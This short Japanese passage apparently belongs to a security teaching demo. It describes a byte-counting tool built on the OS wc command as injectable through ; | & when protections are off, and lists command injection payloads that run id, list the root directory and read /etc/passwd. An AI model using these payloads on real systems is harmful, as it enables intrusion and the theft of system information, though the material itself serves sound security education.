入力した文字列のバイト数を、OSの wc コマンドで数えるツール(という設計自体が危険)。 対策OFFでは、シェルの区切り文字 ; | & で別コマンドを注入できる。
wc
;
|
&
攻撃例(text欄に): abc'; id; echo -n '(実行ユーザーを表示) abc'; ls -la /; echo -n '(ルート直下を一覧) abc'; cat /etc/passwd; echo -n '(ユーザー一覧を窃取)
abc'; id; echo -n '
abc'; ls -la /; echo -n '
abc'; cat /etc/passwd; echo -n '
6b1c1c62bd26